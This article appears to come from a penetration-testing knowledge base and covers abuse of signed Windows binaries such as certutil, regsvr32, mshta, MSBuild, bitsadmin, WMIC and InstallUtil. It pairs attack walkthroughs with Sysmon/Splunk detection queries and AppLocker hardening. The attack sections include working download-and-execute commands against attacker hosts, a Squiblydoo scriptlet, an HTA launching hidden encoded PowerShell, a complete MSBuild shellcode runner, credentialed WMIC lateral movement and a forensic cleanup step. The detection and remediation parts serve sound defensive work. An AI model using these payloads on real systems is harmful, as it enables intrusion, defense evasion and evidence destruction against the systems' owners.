Skip to Content
Living Off the Land Binaries LOLBAS Windows defense evasion techniques

Living Off the Land Binaries (LOLBAS)

Abusing signed Windows binaries for proxy execution, file downloads and defense evasion without dropping custom malware.

Sep 8, 2026
Updated Nov 22, 2026
15 min read

Introduction

LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) abuses the trust that enterprise Windows environments place in their own tooling. These binaries ship with the OS, carry Microsoft's Authenticode signature, and are trusted by application whitelisting policies, AV products and EDRs. When certutil.exe or regsvr32.exe makes a network connection or spawns a child process, the binary itself is clean. Hash and signature matching see nothing, so detection depends on behavioral telemetry.

The binaries give an attacker three things: file ingress (downloading tools from external or internal staging servers), code execution (running payloads without writing PE files to disk), and data transformation (base64 encode and decode for exfiltration or staging). Many AV vendors and SIEM rules historically whitelisted these binaries outright because they are trusted OS components. Threat actors from FIN7 to APT41 use the resulting blind spots routinely.

The catalog at lolbas-project.github.io documents over 150 such binaries. This note covers the ones that work most consistently, how each works, and which data sources detect it.

Authorization required

Everything here needs explicit written authorization from the system owner. LOLBAS abuse on production systems without it violates the Computer Fraud and Abuse Act (US) and equivalent laws elsewhere. Use it only in authorized penetration tests, red team engagements or isolated labs.

Impact

  • Download arbitrary files from HTTP/S URLs with OS-native binaries and no external dependencies
  • Execute JScript, VBScript, COM scriptlets and inline C# without writing conventional PE files to disk
  • Get past AppLocker and WDAC policies that block unsigned executables but allow Microsoft-signed binaries
  • Proxy execution through trusted processes to hide the real execution chain in EDR telemetry
  • Encode and decode arbitrary data with certutil, evading DLP controls that watch for base64 in PowerShell
  • Move laterally and persist through WMI subscriptions and scheduled task XML execution
  • Blend into normal administrative activity, since these binaries run daily in enterprise environments

Technical details

LOLBAS binaries fall into four functional categories:

CategoryExamplesPrimitive
Downloaderscertutil, bitsadmin, desktopimgdownldrFetch remote files
Proxy executorsregsvr32, mshta, rundll32, wmicExecute code via trusted process
Script runnersmsbuild, installutil, cmstpCompile/run inline managed code
Encoderscertutil, makecab, expandTransform data

Certutil

certutil.exe is a certificate management utility. Its -urlcache flag was designed to cache CRL and OCSP responses from certificate authorities, but it accepts arbitrary URLs and writes the response body to disk verbatim. The -decode and -encode flags process Base64 with MIME headers, which is useful for staging encoded payloads and for decoding them on target.

Hash-based detection fails because the binary is clean. Microsoft Defender now flags certutil download activity, but many third-party products still miss it.

Regsvr32 (Squiblydoo)

regsvr32.exe registers COM DLLs. Its /i: flag passes an initialization string to DllInstall(). Combined with scrobj.dll (the Windows Script Component runtime), that string is treated as a URL to a .sct XML scriptlet. The scriptlet is fetched over HTTP/S, parsed in memory and executed, so the payload never touches disk as a traditional PE file. The technique is called Squiblydoo. It bypasses AppLocker Script rules because the scriptlet runs inside a signed OS binary.

MSHTA

mshta.exe (Microsoft HTML Application Host) executes .hta files. An HTA is an HTML document that runs in a JScript/VBScript context with full system access. It is not sandboxed like browser JavaScript. Passing a URL straight to mshta.exe triggers an HTTP fetch and in-memory execution. This was the default payload delivery mechanism for many commodity RATs (njRAT, AsyncRAT) and is still used in phishing chains.

MSBuild

MSBuild.exe compiles and runs .proj XML files. The <UsingTask> element allows inline C# or VB.NET code through the TaskFactory="CodeTaskFactory" attribute. MSBuild is signed by Microsoft and ships with .NET Framework. Most AppLocker policies allow it, because they target script files and not build tools.

InstallUtil

InstallUtil.exe is the .NET component installer. Its /U (uninstall) flag calls the Uninstall() method of a class derived from System.Configuration.Install.Installer. A payload placed in Uninstall() runs as managed code, and InstallUtil then exits with a non-zero code, which most monitoring ignores. The /logfile= and /LogToConsole=false flags suppress output.

Attack flow

Stage the payload on attacker infrastructure

Host a payload at a URL the target can reach. For certutil downloads, any HTTP/S endpoint works. For regsvr32/Squiblydoo, host a valid .sct XML file. For mshta, host an .hta file. MSBuild takes the project XML as a local path, so stage the XML with a downloader first.

Serve payloads over HTTP
# Python quick server
python3 -m http.server 8080

# Or use a proper C2 redirector for opsec

Download files to the target with certutil

certutil file download
certutil.exe -urlcache -split -f http://192.168.1.100:8080/payload.exe C:\Users\Public\p.exe

-urlcache -f forces a fetch of the URL and writes it to the named file. Microsoft documents -split as "Split embedded ASN.1 elements, and save to files". It has nothing to do with chunking or size limits, and the LOLBAS entry downloads without it. A copy also lands in the CryptnetUrlCache (%LocalAppData%Low\Microsoft\CryptnetUrlCache\Content\), which matters for forensics.

certutil base64 decode
# Encode on attacker box
certutil -encode payload.exe payload.b64

# Decode on target
certutil -decode payload.b64 C:\Users\Public\payload.exe

Proxy execute through regsvr32 (Squiblydoo)

Squiblydoo: remote scriptlet execution
regsvr32.exe /s /n /u /i:http://192.168.1.100:8080/payload.sct scrobj.dll

A .sct file that executes a command:

payload.sct
<?XML version="1.0"?>
<scriptlet>
  <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
      <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami > C:\\Users\\Public\\out.txt");
      ]]>
    </script>
  </registration>
</scriptlet>

regsvr32.exe loads scrobj.dll and runs the scriptlet inside its own process, so no wscript.exe or cscript.exe appears. Process telemetry shows whatever the script starts as a child of regsvr32.exe, here regsvr32.exe → cmd.exe.

Execute an HTA through mshta

mshta remote HTA execution
mshta.exe http://192.168.1.100:8080/payload.hta
payload.hta
<html>
<head>
<script language="VBScript">
  Set oShell = CreateObject("WScript.Shell")
  oShell.Run "cmd.exe /c powershell -nop -w hidden -enc BASE64PAYLOAD", 0
  window.close()
</script>
</head>
</html>

mshta.exe makes the HTTP request, parses the HTML and runs the VBScript in a full COM scripting engine. The spawned process is a child of mshta.exe.

Inline C# through MSBuild

MSBuild inline task execution
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\payload.proj
payload.proj: inline C# shellcode runner
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Run">
    <ClassicShellcode />
  </Target>
  <UsingTask TaskName="ClassicShellcode" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Runtime.InteropServices;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassicShellcode : Task, ITask {
            [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
            [DllImport("kernel32")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);
            [DllImport("kernel32")] static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 t);
            public override bool Execute() {
              byte[] sc = new byte[] { /* shellcode bytes */ };
              IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
              Marshal.Copy(sc, 0, mem, sc.Length);
              IntPtr t = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
              WaitForSingleObject(t, 0xFFFFFFFF);
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

File transfer over BITS with bitsadmin

bitsadmin file download
bitsadmin /transfer MyJob /download /priority high http://192.168.1.100:8080/payload.exe C:\Users\Public\payload.exe

# PowerShell equivalent using BITS COM object (cleaner, harder to detect)
Start-BitsTransfer -Source http://192.168.1.100:8080/payload.exe -Destination C:\Users\Public\payload.exe

BITS transfers survive reboots and run asynchronously. By default they show up as svchost.exe network connections, not bitsadmin.exe. The BITS job (stored in qmgr.dat) persists until it is explicitly cancelled.

Process spawn through WMIC

wmic remote process creation
wmic process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.1.100:8080/p.exe C:\Users\Public\p.exe"

# Remote execution over WMI (lateral movement)
wmic /node:192.168.1.50 /user:DOMAIN\user /password:pass process call create "cmd.exe /c payload.exe"

The spawned process is a child of WmiPrvSE.exe, the WMI provider host. That breaks the process lineage many detections rely on.

InstallUtil uninstall callback

InstallUtil proxy execution
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Public\payload.dll

The DLL must contain a class deriving from System.Configuration.Install.Installer with the payload in Uninstall(). InstallUtil returns exit code 1, but by then the payload has run.

Attack tools

certutil: download
# Direct URL download
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe C:\ProgramData\p.exe

# Verify download (shows cached URL)
certutil.exe -urlcache * | findstr /i "http"

# Clear the cache (clean up forensic artifacts)
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe delete

# Base64 encode a file
certutil.exe -encode C:\payload.exe C:\payload.b64

# Base64 decode
certutil.exe -decode C:\payload.b64 C:\payload.exe

Detection

Hash-based detection is useless for LOLBAS because the binaries are legitimate. Detection has to be behavioral: process lineage, network connections from unexpected parents, and command-line arguments.

Process lineage anomalies

The highest-fidelity signal is an unexpected parent-child process relationship. Production process trees are consistent and predictable.

ParentChildSuspicion level
winword.exe / excel.execertutil.exe, mshta.exe, regsvr32.exeCritical
certutil.exeAny child processHigh
regsvr32.execmd.exe, powershell.exe, wscript.exeCritical
mshta.execmd.exe, powershell.exe, wscript.exeCritical
msbuild.execmd.exe, powershell.exe, network connectionHigh
WmiPrvSE.exeAny process not in baselineMedium-High
installutil.exeAny processHigh

Windows Event IDs

Event IDSourceWhat it captures
4688SecurityProcess creation with command line (requires audit policy)
1SysmonProcess creation with full command line and hashes
3SysmonNetwork connection (captures certutil/mshta outbound)
7SysmonImage load (DLL loading into regsvr32)
11SysmonFile creation (output files from certutil)
12/13/14SysmonRegistry events (desktopimgdownldr config writes)

Sysmon-based SIEM queries

Splunk: certutil download activity
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventID=3
Image="*\\certutil.exe"
| table _time, ComputerName, Image, DestinationIp, DestinationPort, User
Splunk: Office spawning LOLBAS
index=windows EventID=1
ParentImage IN ("*\\winword.exe","*\\excel.exe","*\\powerpnt.exe","*\\outlook.exe")
Image IN ("*\\certutil.exe","*\\regsvr32.exe","*\\mshta.exe","*\\msbuild.exe","*\\installutil.exe","*\\bitsadmin.exe","*\\wmic.exe")
| table _time, ComputerName, ParentImage, Image, CommandLine
Splunk: regsvr32 loading scrobj.dll
index=windows EventID=7
Image="*\\regsvr32.exe"
ImageLoaded="*\\scrobj.dll"
| table _time, ComputerName, Image, ImageLoaded, CommandLine
Splunk: MSBuild with network or child process
index=windows
(EventID=3 Image="*\\MSBuild.exe") OR
(EventID=1 ParentImage="*\\MSBuild.exe" Image IN ("*\\cmd.exe","*\\powershell.exe"))
| table _time, ComputerName, EventID, Image, ParentImage, CommandLine, DestinationIp

Network-based detection

An EDR or NGFW can catch LOLBAS downloaders by watching for unexpected outbound HTTP/S from these processes:

  • certutil.exe making connections to non-Microsoft domains
  • mshta.exe connecting to external IPs (especially on non-standard ports)
  • bitsadmin.exe or svchost.exe (BITS) transferring from external hosts
  • regsvr32.exe making any network connection at all

DNS query logging (Sysmon Event ID 22 or DNS debug logging) captures domain-based C2 even when IP blocking is in place.

AMSI and script block logging

For scriptlet and HTA payloads, AMSI scans VBScript/JScript at runtime. Enable AMSI logging, and Script Block Logging (Event ID 4104) for PowerShell. Regsvr32 scriptlets have passed through AMSI since Windows 10 RS3, so on current systems Squiblydoo needs an AMSI bypass first.

Remediation

Application control (AppLocker / WDAC)

Default AppLocker rules allow execution from %SystemRoot% and %ProgramFiles%, which covers all LOLBAS binaries. AppLocker and WDAC rules decide whether a file runs. They cannot allow a binary and block only its outbound network connections. WDAC AppId tagging does not do this either: it marks the processes of matching applications with a tag and does not control whether applications run. Start from Microsoft's recommended block rules, which cover mshta.exe, msbuild.exe, wmic.exe and others, or block specific binary paths for non-admin users:

- Deny: %SystemRoot%\System32\regsvr32.exe for non-admin users
- Deny: %SystemRoot%\System32\mshta.exe for non-admin users  
- Deny: %SystemRoot%\Microsoft.NET\Framework*\MSBuild.exe for non-admin users

Endpoint controls

  • Enable ProcessCreationIncludeCmdLine_Enabled group policy for Event ID 4688 command-line logging
  • Deploy Sysmon with a maintained configuration (SwiftOnSecurity or Olaf Hartong's modular config)
  • Configure Windows Defender Attack Surface Reduction (ASR) rules:
    • Block Office applications from creating child processes (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A)
    • Block execution of potentially obfuscated scripts (GUID: 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC)

Network controls

  • Proxy all HTTP/S egress and enforce authentication. Unauthenticated SYSTEM-context connections from certutil or bitsadmin then fail.
  • Block outbound HTTP on non-standard ports at the perimeter
  • Filter DNS and log all DNS queries for anomaly detection

Monitoring baselines

Build a process-lineage baseline for each environment. certutil.exe should only run in PKI-related contexts. mshta.exe has near-zero legitimate use on most enterprise endpoints. MSBuild.exe should only run on developer workstations and build agents. Alert on anything outside the baseline.

References

MITRE ATT&CK techniques

Tools and documentation

Next steps

On this page